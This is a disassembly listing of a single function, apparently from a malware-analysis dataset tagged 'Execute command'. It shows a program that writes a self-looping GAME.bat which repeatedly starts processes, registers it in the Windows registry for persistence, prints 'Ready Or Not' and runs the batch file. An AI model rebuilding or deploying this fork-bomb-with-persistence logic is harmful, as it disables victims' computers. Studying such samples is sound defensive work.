Function at 0x4015f8
Capabilities:
Execute command

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push ebx
push ecx
sub esp, 0x140
call sym.___main
lea eax, [ebp - 0x24]
mov dword [esp], eax
call dbg.getExecutablePath[abi:cxx11]()
lea eax, [ebp - 0x24]
mov dword [esp + 4], 0xffffffff
mov dword [esp], 0x4a40a1
mov ecx, eax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.find_last_of_char_const__unsigned_int__const
sub esp, 8
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
je 0x401660
mov eax, dword [ebp - 0xc]
lea edx, [eax + 1]
lea eax, [ebp - 0x24]
mov dword [esp + 4], 0xffffffff
mov dword [esp], edx
mov ecx, eax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.erase_unsigned_int__unsigned_int_
sub esp, 8
lea eax, [ebp - 0x24]
mov dword [esp], str.GAME.bat
mov ecx, eax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.operator_char_const_
sub esp, 4
lea eax, [ebp - 0x11c]
mov ecx, eax
call fcn.0047a690
lea eax, [ebp - 0x11c]
mov dword [esp + 4], 0x10
mov dword [esp], str.GAME.bat
mov ecx, eax
call method.std::basic_ofstream_char__std::char_traits_char___.open_char_const__std::_Ios_Openmode_
sub esp, 8
mov dword [esp + 4], str.:loop_n
lea eax, [ebp - 0x11c]
mov dword [esp], eax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov dword [esp + 4], str.start
mov dword [esp], eax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov edx, eax
lea eax, [ebp - 0x24]
mov dword [esp + 4], eax
mov dword [esp], edx
call method.std::basic_ostream_char__std::char_traits_char____std::operator____char__std::char_traits_char___std.allocator_char____std::basic_ostream_char__std::char_traits_char_____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char
mov dword [esp + 4], 0x4a40bb
mov dword [esp], eax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov dword [esp + 4], str.GOTO_loop
mov dword [esp], eax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov dword [esp], method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____
mov ecx, eax
call method.std::ostream.operator___std::ostream____std::ostream__
sub esp, 4
mov ecx, 0x4a3780
call method.std::ostream.flush__
mov dword [esp + 4], str.Ready_Or_Not_
mov dword [esp], 0x4a3780
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
lea eax, [ebp - 0x24]
mov dword [esp], eax
call dbg.AddBatchToRegistry(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&)
lea eax, [ebp - 0x134]
mov ecx, eax
call fcn.00489960
lea eax, [ebp - 0x134]
mov dword [esp + 4], eax
mov dword [esp], 0x4a35a0
call method.std::basic_istream_char__std::char_traits_char____std::operator___char__std::char_traits_char___std.allocator_char____std::basic_istream_char__std::char_traits_char_____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_
mov dword [esp], str.start_GAME.bat
call sym._system
mov ebx, 0
lea eax, [ebp - 0x134]
mov ecx, eax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea eax, [ebp - 0x11c]
mov ecx, eax
call method.std::basic_ofstream_char__std::char_traits_char___.basic_ofstream__
lea eax, [ebp - 0x24]
mov ecx, eax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
mov eax, ebx
jmp 0x4017c5
lea esp, [ebp - 8]
pop ecx
pop ebx
pop ebp
lea esp, [ecx - 4]
ret